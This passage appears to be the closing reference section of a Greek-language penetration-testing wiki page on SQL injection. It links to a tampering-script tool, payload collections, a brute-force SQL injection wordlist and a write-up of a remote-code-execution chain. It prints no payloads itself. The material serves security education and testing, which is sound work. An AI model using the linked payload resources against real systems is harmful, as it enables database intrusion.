https://github.com/m4ll0k/Atlas {{#endref}} ## Άλλοι Οδηγοί - [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) ## Λίστα ανίχνευσης Brute-Force {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt {{#endref}} ## Αναφορές - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#include ../../banners/hacktricks-training.md}}